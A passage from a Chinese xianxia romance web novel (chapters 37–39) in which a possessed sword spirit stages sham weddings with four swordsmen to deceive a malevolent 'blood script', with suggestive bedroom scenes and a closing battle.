“没有。”把身子的重量压在贺果知身上的剑修,睁开一只眼,带着笑意睇过来。 像是抱怨:“他们灌我。” “那我不得装一下。” “不过,你刚喊我什么?” “夫君。” 贺果知对上程相烽的视线。 “真乖。”程相烽把他抱到桌上,手臂撑在他身侧,“再喊一声。” 贺果知都要被程相烽的松弛感惊呆了。 要不是那天在客栈见过程相烽沉着脸不说话的样子,他都要以为程相烽不会着急。 不得了。 贺果知都被程相烽这种感觉带跑了。 贺果知想着他要做的,装作他们在做风月事,暗中传音交流。贺果知不知道程相烽会不会,但他把话本准备好了。 第二遍做同样的事,贺果知心中急切,但没昨天那么慌。 他从自己的袖子——婚服的乾坤袖中,把话本掏了出来。 贺果知实在是不好意思,问:“你会吗?” “不会看看这个,我们早些休息。” 白皙的手指压在书页上,找到带图的一页,给程相烽看。 程相烽只看了眼,收回视线:“不会。” “夫人教我。” 贺果知:“……你还没仔细看!” “夫人看会了就行。” 贺果知:“……” 啊啊啊啊啊啊啊啊啊啊啊! 因为危机感加重了! 可能血字不爽程相烽,所以不想听到他们调情。 调情…… 想到这两个字,贺果知的脑海宕机了一下。 吐槽的欲望无处发泄。 明明不是夫妻……不对,不是夫夫,他怎么在和程相烽调情! 太混乱了! 贺果知悄咪咪,给造成这一切的罪魁祸首记上一笔。 贺果知看了看图,再结合话本上的文字:“就是要先这样……再那样……” 贺果知整个人都烧起来了,完全说不下去,崩溃道:“不如去床上再说吧!” 程相烽笑了一声,倏然把他抱起来。 贺果知忙不迭搂住程相烽的脖子。 “帮我脱。”程相烽近乎咬着贺果知的耳朵在说。 帮……帮什么? 贺果知瞪过去一眼。 床帐落下来,里面昏暗一片。穿着大红喜服的青年,嗔怪似的瞪过来一眼,眼尾都是红的。 他知道自己要做什么,撑着镇定的外表去扯剑修的衣带。 手指却软绵绵的,用不上力气。 好难脱。 程相烽脱贺果知的喜服却很容易,仗着力气大,一扯就开了。 大红的喜服挂到贺果知臂弯,里面是雪白的里衣,裹着青年单薄清瘦的肩膀。 拉扯间里衣的领口松了,露出直挺白皙的锁骨。 两人散乱的衣襟交叠。 程相烽分.开贺果知的腿,修长挺拔的身躯卡在贺果知腿间。 这是危险的姿势,也像是捕食者试探猎物的动作,但贺果知一点都没有排斥,由着程相烽的动作。 他是信任程相烽的。 程相烽握着贺果知的手腕,像是亲到贺果知的唇,实际上却亲的是贺果知的手指。 自下而上看着贺果知,牙尖轻轻叼了一下白皙指尖上柔软的指腹。 贺果知被他这一眼看得,说不出话来。 像是叼住骨头的狼。 这样模拟出混乱中,贺果知给程相烽传音,一五一十把事情说了。 程相烽很重地喘息一声,把贺果知抱到腿上。 传音:“所以,你把我当炉鼎,吃的是霍闻星的灵力?” 语气略微古怪。 贺果知应了一声。 程相烽的手盖住贺果知的手背,要贺果知抱住他的肩膀:“知道了,夫人。” 贺果知:“……” 明明是心里的对话,说出来干嘛! 单独听着很奇怪,可程相烽又补上了一句,说“要轻一点”。 听起来完全是夫夫床上的荤话,挑不出错处。 贺果知没想到这个时候都能被程相烽气到:“你在说什么胡话!” 程相烽笑:“还这么有力气。” “那重一点。” 贺果知:“……” 啊啊啊啊啊啊啊啊啊。 …… 清晨,贺果知照例把程相烽赶了出去。 青年抬着下巴,冷酷无情道:“快去斩杀灾祸,恢复不了化神的修为,不要回来。” 程相烽连人带剑被丢出来,没了那种洒脱,一脸深情望向贺果知:“夫人,我不信,你一定有难言之隐!” 随后,程相烽稳定发挥,拉稳血字的仇恨值。 “我们感情这么好,你是听了什么混蛋东西的挑唆吗!” 说着,环顾一圈装作丫鬟仆从的灾祸。 贺果知:“……” 贺果知丢出残酷的事实:“谁和你感情好,你不过是我的炉鼎。” “还不是第一个。” 婚房外的台阶上,乌发散下来的青年,居高临下看着底下的剑修说。 皮肤白皙,眉眼漂亮。 这么漂亮,说的却是恶毒又冰冷的字。 程相烽恼羞成怒,冷笑:“哦?那我和他比,谁更让你满意?” 贺果知昨天晚上,同样是缩在程相烽怀里睡的,此时神清气爽。 轻蔑道:“你们?” “都那样吧。” 素白的小手挥了挥,无情驱赶。 贺果知像那个拔X无情,让灾祸们把程相烽“请”走了。 送走程相烽,贺果知打开地图。 “下一个找谁?” 血字浮现: 【剑宗谢振涛】 第38章 第38章(修) 街道上空落落的, 一片寂静。长街尽头有一家茶摊,茶摊的对面是一家染坊。 染坊的半掩着,推开进去后, 可以看到摆在院内的染缸,以及挂在高高的架子上, 已经染好的布。 贺果知走进去。 谢振涛在里面。 但在更深的地方。 贺果知如今的修为提升, 隔着这么一大段距离,他也能听到染坊深处的声响。剑没入血肉之中,血迸溅出来, 灾祸还没发出声音, 已然被斩到剑下。 灾祸死去, 染坊后院安静下来。 贺果知往里走,撩起一块染好的红色的布。 刷—— 一柄泛着寒光的长剑, 对准贺果知的喉咙, 杀意铺天盖地袭来,刺得人头皮发麻。 救救…… 贺果知心中窒息, 面上维持着淡然。 他现在的身份是什么,是一个不掩饰自己异常, 主动找到剑宗执法峰弟子的灾祸!现在的他因为血字, 并且夺取了三个仙洲顶级战力的修为后, 他同样跃升为顶尖战力。 区区被剑指着的小场面。 不慌! “谢师兄。”贺果知喊人。 其实指尖都凉了。 喉结还想滚动一下。 剑尖离得真的好近啊。 “你是怎么回事?”见到他第一眼, 黑衣剑修的眉头已经蹙起来。 声音很沉。 贺果知装着笑嘻嘻的, 再次把他找到道的说法搬了出来。 心里却已经笑不出来了。 发现他和灾祸有很深联系的谢振涛,敲可怕的! 按照贺果知的设想,此时他的傲慢, 他的野心,应该可以支撑他, 毫不畏惧往前走两步,反过来逼迫谢振涛将剑移开。不过设想总归是设想,看着像是怒气读条的谢振涛,贺果知还是有点怕的。贺果知惊奇于,他竟然顶着谢振涛的剑,并不畏惧向前走了两步,甚至还是笑着的。 一个原因,是他信任谢振涛。另外一个原因……或许他…… 可是这个念头,还没完全呈现已经没有了。 他往前,谢振涛的剑不可避免往回收,以免真的伤到他。 贺果知:“谢师兄,” “我心悦你,要不要和我结为道侣?” 谢振涛的脸色瞬间变得很难看,利落的下颌线条崩得很紧,像是从牙缝中挤出来的字:“结为道侣?我难道不应该将你斩杀吗?” 又被凶了一次。 呜。 但贺果知知道谢振涛为什么这样,谢振涛是执法峰弟子,斩杀灾祸无数。贺果知呢?贺果知现在也许是整个山河卷内最大的灾祸。 贺果知装作没被谢振涛凶到,迎着长剑走向谢振涛。 明明要杀了他,剑修的剑,却因为他的靠近,将剑收回直至放下。 贺果知走到他身边,双手去握他的手腕,然后牵着谢振涛的手,拽向他的脖子。 “真的要杀我吗?” “我一直喜欢你的,只是没有说出来。你也喜欢我,我知道的呀。最喜欢你了,老霍他们我都不喜欢,只想和你结婚契,和你在一起。” “你要杀,现在便杀吧。” 带着剑茧的手,轻松压到白皙的脖颈上。掌心之下,贺果知的脉搏正在一下一下跳动。 谢振涛沉默着,低下眼。 剑修的手背上,因为用力青筋浮现出来。 他将手收了回来。 这是默认。 谢振涛沉默不语。 生气了。 剑修气的是自己,明知道贺果知有问题,他却不能用对待寻常灾祸的手段去对他。 剑修眼前的青年知道他赢了,翘起唇角。 他把灾祸驱赶过来,要谢振涛杀了这些灾祸。等谢振涛杀完灾祸,他把谢振涛带回山庄。 谢振涛沉着脸,灾祸们都不太敢靠近。 贺果知:“……” 不是哥们,你这样我也害怕。 可他不应该表现出怕,因此他到谢振涛跟前,轻轻拍了拍谢振涛的脸,笑道:“板着脸给谁看呢,马上大婚,你应该笑的。” 谢振涛拉下他的手,没有笑。 沉郁看过来一眼,只道:“知道了。” 这一眼看得贺果知心惊肉跳。 面上只说:“知道就行。” 留谢振涛在山庄,贺果知回到别院,换上大婚的喜服——这是第三套,和之前的两套又不一样。 谢振涛过来接他。 和前两天一样,长街两侧的灾祸们,营造出了一种正常大婚的热闹氛围。 到了山庄。 三拜礼成。 贺果知转身离开被带去婚房,谢振涛却抓住了他的手腕,锐利的眼看过来,问:“能杀吗?” 贺果知:“……能。” 谁家大婚把丫鬟、仆从、宾客全都砍了?他家呀,那没事了。谁让这些全都是灾祸们假扮的呢。 恐怕不止山庄里的,山庄外面假扮百姓的,谢振涛也不会放过。 贺果知从谢振涛身上,感受到了一种平静的疯感。 贺果知回到婚房。 再次滚到床榻里。 俗话说熟能生巧,这句话说得实在是太对了。 前两次贺果知又急又慌,这次淡定了很多,提前把流程在心里过了一遍,裹着被子睡觉去了。 边迷糊边想。 啊,谢振涛是武痴,风月之事肯定不会,那就由他来说好了。 浅浅睡了一觉,隐约听到开门声,贺果知眨巴下眼,醒了。 昨天他和程相烽大婚的时候,程相烽开门,外面很是热闹。今日谢振涛开门,婚房外面寂静的可怕,一点声音都没有。 不用说,整个山庄连带之前街道上的灾祸,都被谢振涛给砍了。 黑衣剑修一身大红的喜服,无波无澜朝贺果知所在的防线看过来。 剑修高大,宽肩窄跨,样貌俊美,喜服穿在他身上当然是好看的。然而,他的手中却提着刚杀完灾祸的剑。 同时,危机感袭上心头。 贺果知略微沉默。 突然不是很想下床去接人了。 血字的危机感,以及谢振涛身上的压迫感,让他不是很想过去。 但贺果知还是飘过去了。 “夫君。”他飘到剑修身边。 谢振涛只看了他一眼,单手接住他,另外一只手将佩剑放到桌上。 贺果知:“?” 谢振涛眼中不辨息怒,问:“满意了吗?” 杀了那么多灾祸,谢振涛的修为攀上去一大截。 贺果知:“满意。” “夫君,你来看看这个。”贺果知把话本掏出来。 谢振涛垂眸看身边的人。 他长得特别漂亮,第一眼见到的时候,谢振涛就怀疑他是艳鬼。此时穿着大红的喜服,站在他身边,烛火的光照在他秀气的眉眼上。 眼眸很清澈。 可他的手中,却拿着一个将阴暗的一面,全都展现出来的话本。 话本之上,两个人痴缠在一起,难舍难分。 谢振涛只看了一眼,将话本扣到桌上。大手压着话本,同样压着贺果知的手背。 “为什么?”谢振涛的声音痛苦。 呜。 又凶他。 贺果知真想当场哭给谢振涛看,但现在怎么能哭。 他低头,小声:“夫君,你弄疼我了。” 不怎么疼。 但多少有点借机暗戳戳指责谢振涛凶的意思。 “想把我当作炉鼎,是吗?” 贺果知没反应过来,剑修有力的手臂一兜,他就被抱到桌上。 叮呤哐啷,桌上摆的点心蜜糖话本等物,全都掉到地上。 “好啊。”谢振涛几乎是狠狠说道。 贺果知被吓了一跳,揪着谢振涛袖子的手却没松开。 传音:“谢师兄?” 贺果知听到谢振涛冷静低沉的嗓音。 “别怕。” 贺果知长出一口气。 随后传音,将发生的事给谢振涛说了。 这一声很好缓解了贺果知的焦虑,让他可以把注意力,放到将危机感压下来的血字上。 贺果知的腿被拉过去,两人的喜服也在拉扯间散乱。 贺果知抽空想。 他预判错了……谢振涛好像不需要看话本。 就……能偷个懒,这些故意弄出的虚假的动静,都让谢振涛来制造就行。 “谢……夫君?” 贺果知正走神,忽然一惊。 他被谢振涛搂着腰抱了一下,膝盖和手指,全都抵到了坚硬的桌面上。谢振涛似乎仍然气着,并不解释什么,要贺果知过去。 贺果知传音:“谢师兄?” 谢振涛:“抱歉。” “想了下你真的听从那个东西的样子,自然而然就那样生气了。” 他腿软,被谢振涛捞住了腰。 在谢振涛假装的两人的混乱中,贺果知想了一下,他应该做出什么反应。 青年白皙的脸慢慢红了。 慢半拍似的。 “谢、谢师兄……夫君……哥哥……” 然后磕磕巴巴乱喊一通。 大概是被喊得心软,谢振涛总算把他抱到床上。 …… 贺果知缩在谢振涛怀里睡的。 醒来的时候,额头抵着宽阔的胸膛。 不得不说,哪怕危机感高高悬在心头,但在他们怀里睡,贺果知很安心,一点都不担心会发生什么。 他眯着眼,醒了会儿盹。 想了想,推着谢振涛的肩膀,让谢振涛离他远一些。 然后用他又拔高一大截的修为,毫不客气把谢振涛踹下去。 里衣宽松,松松垮垮挂在贺果知的肩膀上。 他坐起身,纤细的手指勾住,将衣襟拢住。坐在床上,垂下眼看被他踹下去的剑修。 贺果知的嗓音很冷:“桌子那么硬,我膝盖都疼了。” 剑修的身形高大,肩背宽阔。但这么大的一个人,低着头,肩背却像是向内垮塌着。 贺果知看着这一幕,勾起唇笑道:“你的用处没有了,滚出去。” 谢振涛低头不语,沉默穿衣,似乎料到他会这么说。 贺果知并不放过谢振涛,继续说道。 “去找程相烽、霍闻星,你去问问他们两个,应该怎么服侍我。”青年下巴微抬,傲慢道,“下次再这个样子,我挑断你的灵脉。” “是。”谢振涛沉沉应了一声。 穿好剑宗校服,捡起剑转身往外走。 “等等。”贺果知喊住谢振涛,“不想动,过来给我穿衣。” 谢振涛又回来。 贺果知还是有点困,额头抵着谢振涛的肩膀。 谢振涛的动作,向来都是沉稳可靠的。他要他抬手臂,贺果知就把手臂抬起来。剑修的手劲儿大,单手抱他一点问题都没有。 贺果知等谢振涛给他穿完衣服,像是这才满意了。 婚房的门打开,谢振涛出去后,御剑离开。 贺果知也走出婚房,靠到门边,看剑修离开的背影。 贺果知感受到,那种“注视”感,再次回来了。血字在一寸一寸检查他。 按理说经过这样的一夜,他身上应该留有很多痕迹。但他是灵体,又有这么高的修为,所以身上干干爽爽,什么都没有。 血字检查的,是贺果知的修为。 贺果知眯了下眼,似是不满血字的行为,但毕竟它们密不可分,贺果知还是允许血字这么做了。 贺果知心中,没有他表现出来的这样轻松。 贺果知大概隐约能察觉对血字对他的影响,他这么做,算是一种直觉。 随着修为提升,影响加深,他的傲慢不止对剑修,还要对血字。血字算什么?他自然也是要凌驾在血字之上的。 血字似是没有看出他的不爽。 片刻后,贺果知眼前浮现两个字。 【不错】 贺果知心说,那自然是不错的。他吃掉霍闻星好多灵力,隐约都摸过化神巅峰的境界了。 贺果知打开地图。 扫了一眼。 此时最大的白色墨点,果然和他想的一样。 血字浮现出来。 【剑宗裴连卿】 第39章 第39章 这座城很安静, 周围山林、附近城中的灾祸刚被裴连卿清扫过一遍。 客栈,上房。 贺果知用了一个隔绝声音的法术,从窗子翻进来。进入里间, 他看到盘膝坐在床上调息的裴连卿。 一进来,贺果知闻到一股奶香的味道。刚做好的点心, 用法术维持最宜食用的状态。看到点心和热茶, 贺果知也不用法术隔绝走路的声音,光明正大走到桌边,坐下来。 这是留给他的。 裴连卿料到他会过来。 之所以从窗子翻进来, 是贺果知心血来潮, 想试试他如今的修为, 裴连卿能不能发现他。现在看到点心茶水,贺果知也懒得试了。 他慢吞吞喝茶吃点心, 等喝完一盏茶, 裴连卿也结束调息。 贺果知感受到,裴连卿的注视落到他身上, 但没开口。 贺果知吃点心,也没说话。 贺果知吃下块点心, 才听到裴连卿的声音。 那声音很温柔, 但却有些无奈和叹息。 “果汁, 几日不见, 你和之前不一样了。” 贺果知像是没心没肺, 知道自己改变,却并不觉得怎么样,把点心吃了, 笑着问裴连卿:“那你喜欢现在的我,还是喜欢之前的我。” 裴连卿勾起唇, 轻轻笑了一下,没有回答。 贺果知在心中想,真巧,他也不喜欢自己现在的样子。 看到裴连卿的沉默,贺果知的心中莫名多了一团火气。 也不吃点心了,来到床榻边。 裴连卿守礼、克制,手虚扶在贺果知腰侧。 贺果知偏偏凑近,扶着裴连卿的肩膀,膝盖怼到床榻上,看着裴连卿说:“我心悦你,要不要和我结为道侣?” “我有别的选择吗?”裴连卿问。 还真没有。 即使裴连卿杀了不少灾祸,但贺果知已经有了三个炉鼎,所以他的修为,稳稳压了裴连卿一线。 “没有。”贺果知说。 贺果知:“连卿,你也不用担忧什么。” “我一直喜欢你的,只是没有说出来。你也喜欢我,我知道的呀。最喜欢你了,老霍他们我都不喜欢,只想和你结婚契,和你在一起。” “我会对你好的。” 真奇怪。 贺果知想。 大概是同样的情话,说了三次之后,他心中竟然平静下来。 反正都是假的,他这么说的目的,是骗裴连卿回去当他炉鼎。 不对,他不需要骗。 裴连卿要是不同意,他就把裴连卿掳走。 “好吧。”裴连卿抬眸看他,说。 临近饭点,中午裴连卿用客栈的厨房,给贺果知做了午饭。 在之前,裴连卿都会和贺果知一起吃饭。这次贺果知却看到,裴连卿只做了他一个人的,也没陪他一起吃。 贺果知拉住裴连卿的袖子。 “陪我一起。”贺果知说。 他认真看裴连卿,似乎满心满眼都是眼前的白衣剑修。 裴连卿握住他的手腕,说:“不想让我早点和你回去吗?” “快一点把你驱赶过来的灾祸杀了,我可以早一点和你回去。” “你知道?”贺果知问。 裴连卿嗯了一声:“看到师兄他们了。” “早点回去不好吗?”裴连卿问。 贺果知思索片刻,纵容:“好吧。” “快去快回。” 等裴连卿走了,贺果知问血字。 “他说的是真的吗?” 【是】 血字浮现出来。 看到鲜红的,宛若在滴血的字。贺果知神色如常,握住筷子,继续吃裴连卿给他做的午饭。 内心却悚然一惊。 不得了,刚才他在做什么。 他这么信任这个东西吗? 贺果知心中兵荒马乱一阵,表面还是淡定的。然而他淡定了一会儿,却又想,不对,他刚才慌什么呢……? 裴连卿杀完贺果知驱赶来的灾祸,他把裴连卿带回山庄。 由于昨天谢振涛将灾祸们全都砍了,所以今日山庄中的灾祸们,全都换了一批。 但灾祸们之间的消息,也不是闭塞的。 因此,对贺果知的畏惧之中,有一丝古怪。 贺果知:“……” 贺果知不想当作看不到。 他指间凝聚了一道剑气,准备甩出去。 倏然,他的手指被握住了。也是因为这个握住的动作,贺果知指尖的剑气散了。 裴连卿牵着他的手往里走:“交给我吧,我来杀了它们。” 贺果知被裴连卿牵着走,他似乎有些不想改变自己的想法。 但转念一想。 还没完全骗到手,那就纵容一下吧。 贺果知答应了。 贺果知回到别院。 几套喜服摆到贺果知眼前,贺果知挑挑拣拣。这几套似乎都很无趣,款式看起来和前几日没有区别。 准备喜服的,有一人是叛出合欢宗的修士。是他提供的炉鼎之术,也是他在看到贺果知眉眼间的嫌弃后,拿出一套特殊些的喜服。 贺果知看了眼,选了这一套。 换好喜服,还是和前几天一样的流程。 裴连卿来接他。 贺果知在轿子上,撩起车帘望了一眼。 街道上,依然是群魔乱舞。 抵达山庄。 三拜礼成。 裴连卿说了他来杀这些灾祸,贺果知先回到婚房去等待。 贺果知坐到床榻,发了一会儿呆。 好半天,他才想起来要做什么。对了,他是要告诉裴连卿这是怎么回事,以及他察觉到自己的不对劲了。 嗯……话本也准备好了。 捋清要做的事,贺果知和前三天一样,滚到床榻上裹着被子睡觉。 不知道多久,婚房的门打开,裴连卿进来了。 刚杀了很多灾祸,剑修温润的眉眼也染上了戾气。他一身红色的喜服,戾气未散,看到贺果知,却漫开了温柔的笑。 熟悉的来自血字的危机感压上来。 婚房之内是安全的,血字只能在外面,无法窥探。按理说对血字来说,应该让贺果知离开,换一个婚房,这样它可以时刻注视。但血字像是无法注意到,所以认为这是合理的,不会对此提出异议。 对。 贺果知心想。 他是很着急的,他要赶快给裴连卿说明白关于血字的事。 贺果知飘过去。 夺了裴连卿手中的剑,扔到一旁。至于房门,则在裴连卿进门后被关上了。 “夫君。”贺果知弯了眼,甜甜喊人。 他抱着裴连卿的脖子,凑上去亲裴连卿的唇。 剑修修长如玉的手指,却抵到贺果知唇前。 贺果知呆了一下。 想了想。 分开唇,猫儿似的,探出舌尖,在裴连卿手指上轻轻舔了一下。 贺果知:“夫君,我们赶快休息吧。” 他选的这套喜服,款式很是特殊,不需要和寻常衣裳一样,解开衣带什么的。 他将裴连卿的手拉向自己,撒娇:“夫君,抱。” 裴连卿垂眸看他,托着贺果知的屁股把他抱起来。 贺果知像是有皮肤饥渴症似的,凑过去亲裴连卿的唇,却被裴连卿偏头,给避开了。 贺果知只亲到裴连卿的脸。 贺果知委屈:“夫君,你不喜欢我了吗?” 裴连卿将他放到床上,喉结滚了一下,像是叹息:“没有。” 说着,曲起手指,在贺果知的额头上敲了一下。 贺果知蜷着腿,立刻捂住脑袋。 疼疼疼。 眼前似有剑光乍开,贺果知有些迷茫——贺果知刚才并不感觉迷茫,但当剑光出现后,他却感受到先前的迷茫,随后想起发生的事,以及他刚才的想法…… 他刚才,竟然想的是,何必辛苦假装。 他完全可以假戏真做,然后告诉裴连卿是怎么回事。 贺果知被他刚才的想法惊呆了。 然后,一低头,看到他自己千挑万选出来的喜服。 啊啊啊啊啊啊啊! 看到他这个样子,裴连卿低眸笑了下。 “清醒了?”裴连卿传音。 贺果知点头。 又摇摇头。 认真说:“可能什么时候又不清醒了。” “没事的。”裴连卿说。 “你这么穿,很好看。”裴连卿出声。 温和的嗓音,带上了惑人的欲念。 贺果知:“……” 贺果知脸爆红,突然接不上这个戏。 不太清醒的时候去做的事,舔手指挑喜服什么的,清醒的贺果知完全做不出来! 可血字在听着,监视这个房间的动静。 贺果知…… 贺果知拽住裴连卿的衣带,将裴连卿一下拉到床上来:“那你说,哪里好看。” 床帐落下,似是遮住一室的旖旎。 “腰这么瘦吗……”男人温和的,带着欲.念的声音响起。 贺果知轻哼了一声。 他穿的喜服是这样的,不用脱下来,就可以毫无阻碍摸到腰。 实际上,裴连卿的手,规规矩矩隔着衣裳,扶在贺果知的腰上。 喘息、混乱,全都是假装出来的。 …… 结束的时候,贺果知抱着裴连卿的肩膀,微微喘息。 同时,他也把需要给裴连卿说的,都已经说完了。 贺果知此时被裴连卿抱着,坐在裴连卿的腿上。 贺果知回想他看到的地图。 在地图上面,已经没有足够大的白色墨点了。那么多灾祸,才短短四天,已经被清扫了八成,最难杀的灾祸,除了血字,都已经杀掉了。贺果知不止往霍闻星他们那里驱赶,也朝其他修士那赶,相当于把散在山河卷地图上的灾祸,汇聚起来给修士们杀。只是大多修士,不能和霍闻星他们一样手起剑落收割一样斩杀,白色墨点增加有限。 贺果知吃掉霍闻星很多灵力,比照他真的将裴连卿他们当作炉鼎来吃的。随着灵力增多,贺果知隐约感觉到,差不多到血字想要的灵力了。 快到结束的时候了…… 早上,贺果知睡醒了,坐起身。 他只低头,系了下里衣的衣带,下床,光着脚走到门口,打开门。 温和并不刺目的阳光,照到他乌色的长发、白皙的皮肤上。贺果知眯起眼,略微偏头。 裴连卿还在屋内。 贺果知嗓音好听,轻轻柔柔,却是命令:“你还在床上做什么。” “滚出去,找到霍闻星他们,你去把他们带到山庄里开。” “你们回来后,把剑宗的校服换下来,穿我给你们准备的。” 剑修在贺果知身后,目光落在清瘦的背影上。 没听到回答,贺果知刷然转回身:“没听到吗?” 裴连卿垂下眼,眸中的温柔散了,是冷淡,却隐约看起来有些痛苦。 他低下头,说:“是。” 随后离开。 【你做得很好】 裴连卿离开后,一行血字浮现在贺果知眼前。 贺果知按照他的理解,他相当于在玩一个大型游戏,他和血字一个阵营,仙洲的其余修士是一个阵营。而他们争夺的,就是在山河卷内的灾祸。贺果知不能直接杀掉灾祸,但他却用把最厉害的四个剑修当作炉鼎的方式,获得了庞大的灵力。 也就是说,现在的山河卷内,没有能打得过他的修士。 血字刚找到贺果知,问过贺果知。 可要重塑天道。 贺果知答应了。 如今他有了很多灵力,但贺果知认为还不够。为了重塑天道这个目标,那些修士、灾祸,他都要杀掉,以此获得足够的灵力。 然后血字会如它说的一样,臣服于他。 又一行血字出现。 【你已经知道要怎么做了,对吗】 贺果知勾起唇。 “当然。” 贺果知修为提升,血字对他的臣服加深。 因此,血字向贺果知展现了它的用途。 它操控灾祸,用它的力量,将进入山河卷的修士们,全都朝山庄的方向驱赶过来。实力稍强横一些的驱赶到山庄,稍弱些的,则是别院在的那座城池。 修士们很多,有的在深山老林之中。 直到日落,才驱赶得差不多。 夜幕下的山庄,和前四日一样灯火通明。喜字依然贴着,红绸装点整个庭院。 这是山庄正对的大殿,殿门敞开着,可以看到内力的景象。而外面,众多修士站在台阶之下,表情不一。 有修士低声讨论,有修士在观察四周,还有修士的目光,直勾勾看向殿内。 殿门开着,以修士的目力,足以看清殿内的一切。 一个穿着红衣,乌色长发披散下来美人躺在塌上。他似乎已经睡着了,眼睫垂着。他没有穿裤子,衣摆下是雪白纤细的一双腿,以及莹润如玉的脚。 应当是禁锢在此处脔宠吧。 这是大多数修士的想法。 然而一些消息灵通、手段高一些的修士,盯着青年,如临大敌。 天色已经完全暗下来,全靠灯火明珠照亮。 直至此时,殿内睡觉的美人才醒过来。 他睁开眼的刹那,整个殿前鸦雀无声。 贺果知坐起身,用神识扫了一圈,皱起眉,不悦道:“他们人呢?” 一名灾祸恭敬回道:“主人,那四剑修打了一架,都带了伤,刚按照主人的吩咐去换衣裳了。” 贺果知思索片刻,这才想起来。 那个将他们当作炉鼎的功法,会引起炉鼎之间的争斗,可以让炉鼎更好地服侍他。 这么想着,贺果知心情愉悦了一点。 “那随他们去吧。” 贺果知光着脚踩在地毯上,从烛火煌煌的殿内走到了殿外。 哪怕一开始认为他是脔宠的修士,此时也察觉了不对劲。 在这个山庄,青年的身边,明处暗处有许多灾祸,这些面容可怖行为可憎的灾祸,全都簇拥在青年身边,听从他的差遣。 贺果知在修士们之间看到了一些熟人。 林樊吟、游庆,佛宗的佛子等人,这些都是他在太岁秘境时见过,年轻一辈的佼佼者。 贺果知勾起唇,弯了眼轻笑:“诸位好啊。” “我好看吗?”贺果知问。 该怎么形容看到的,无数魑魅魍魉簇拥着,一个漂亮到极致的青年。明知危险,却让人移不开视线。他的嗓音、动作……甚至他的呼吸,莫名对在这里的修士产生无与伦比的吸引力。 修士之间传来些许吞咽的声音。 贺果知唇边的笑容扩大。 “找诸位来,是有件事要做。你们杀了灾祸,我想要你们身上的灵力。”他表情天真,说着残忍的话,“你们会成为我的炉鼎,心甘情愿把灵力,乃至你们的一切奉献给我。” “是很开心的事情,对吧。”他笑着说。 贺果知缓缓走下台阶。 殿前的修士们,已经毛骨悚然,纷纷亮出法器,随着他的靠近而全线后退。 不少修士的额头上,已经渗出了冷汗。 因为青年所说的话……实在是太有诱惑力了。 这当然是,血字的力量了。 看,这就是他的道。 “春宵苦短,你们躲什么?” 在青年的低柔的嗓音中,在场的修士们,不可避免想到他言语中所代表的含义。那将是一场难以言说的,淫.乱的开场。 “贺果知。”忽然,一道冷淡的女声响起。 “你不清醒,我来帮你。”林樊吟手中匕首雪亮,映到今晚月色的冷光。 贺果知抬头。 与林樊吟同时动手的,还有六大宗的几人。 此时他素白的手指,正放到了自己的衣带上。手指勾住系住的带子,轻轻一扯。 肩膀上落了一件披风,整个给他裹起来。 严丝合缝,一点都露不出来。 还有披风上的兜帽也戴上。 紧接着,贺果知的眼前被挡住了,程相烽出现在他面前,剑眉蹙着,心情很是不佳。 “回去再和你算账。”程相烽道。 至于同时朝贺果知攻击的修士,则是被霍闻星一剑给拦回去了。 白衣剑修踏空而立。 略微偏头,看了眼身后。 殿前,贺果知听笑了:“算账,你和我算什么?” 可是…… 糟、糟糕…… 为什么听到程相烽这么说,他莫名心虚。 好像他真的浪了一波大的似的…… 在贺果知面前,所有修士、灾祸面前,一直隐藏的血字陡然浮现出来。 鲜血淋漓。 【他们不是你的炉鼎吗?他们的修为是怎么回事?!】 贺果知轻轻皱眉,想了一下,像是才想起来。 “是啊……不对,我是霍闻星的剑灵,那是他的灵力。” 所以霍闻星要收回去,也是一件很容易的事情。就像贺果知想从霍闻星这里用多少,他可以用。霍闻星同样可以从贺果知这里,把灵力拿走去用。 贺果知话音落下,无数大小不一,往下滴血的“杀”字浮现出来。密密麻麻,浮现在深沉的夜色之上。 修为稍弱的修士,当场跪了下来,口吐鲜血。 程相烽一把捞起贺果知的膝弯,将贺果知抗到肩膀上,带贺果知远离这里。 程相烽把贺果知交给裴连卿。 然后离开。 “你们……?!”贺果知看着,总算明白发生什么,薄怒的红浮上他的脸来。 他看起来很是生气,准备过去和霍闻星他们打一架。 裴连卿一把拉住他,仔细将披风给他裹好,屈指再次敲到贺果知的脑门上,无形的道蕴扩散开。 贺果知一愣。 清醒过来。 咻的一下,躲到裴连卿身后。 啊啊啊啊啊啊啊啊! 该死的血字,影响他的神智,让他都说了做了什么啊! 贺果知裂开。 心中泪流满面。 一清醒过来,面对的就是自己的社死现场。 听听那反派发言,看看那反派做派。他要不是霍闻星的本命剑,凭他刚才说的做的,原著里够他死了几个来回了吧! 贺果知痛苦地可达鸭抱头。 整个仙洲,都已经容不下他了吧! 贺果知试图把自己拼凑好,可依然在反复裂开。 “连卿……”贺果知简直要哭了。 裴连卿无奈笑了一下,手伸到兜帽,既摸摸他的头,又帮他压了一下刚才蹭乱的碎发。 “没事了。” “是我们不好,来晚了。” 至于他们来晚的原因,裴连卿也解释给贺果知。 血字算是坏掉的“天道”,是天道要抹除的部分,和贺果知想的一样,是灾祸。 但血字作为坏掉的“道”,在积攒力量之后,有了挑战山河卷内天道的可能。即便是霍闻星他们,要杀掉血字,也不是一件容易的事情。 贺果知看到,此时大殿之前、山庄,已经陷入混战之中。 修士们和众多灾祸厮杀在一起。 漆黑的夜空,另一边同样亮起炽烈的火光。 灾祸不止在这里,别院所在的城池也有很多,谢振涛就在那边,带领那些修士诛杀灾祸。 “既然不容易杀掉,那借点力好了。”裴连卿说。 从化神期进境到合体期的雷劫,轰然从天而降。 进境的不止霍闻星,还有程相烽,他们在哪儿,雷劫劈到哪儿。这些雷劫用来对付血字,远比寻常法术要有作用。 远远的,贺果知看到。 霍闻星每一次挥剑,血字都要发出凄厉的惨叫。 他修的无情道,用他的道比其他的道,更容易威胁血字,并给血字造成伤害。 血字很愤怒,不停试图朝贺果知所在的位置靠近。 它已经知晓发生什么。 这几天,他霍闻星杀掉灾祸,积攒足以突破境界的灵力,在贺果知的帮助下隐藏,让它误以为那些磅礴的灵力,全都是它的囊中之物。 然后用天道气息浓郁的雷劫,还有无情道专门来杀它。 它本就为道,还要重塑天道,臣服贺果知什么的都是胡扯。它的目的,是利用贺果知,有一个可以使用的“身体”,便于行走人间。 贺果知另有心思又怎么样,贺果知和他接触越深,只会彻底迷失自我,成为容纳它的躯壳。 选中贺果知,只是因为在它的推演中,选贺果知对它最有利。 结果发生的事却给了它响亮的一个耳光。 不可饶恕…… 不可饶恕! 裴连卿瞥过去一眼,缓缓将佩剑从剑鞘中拔了出来。 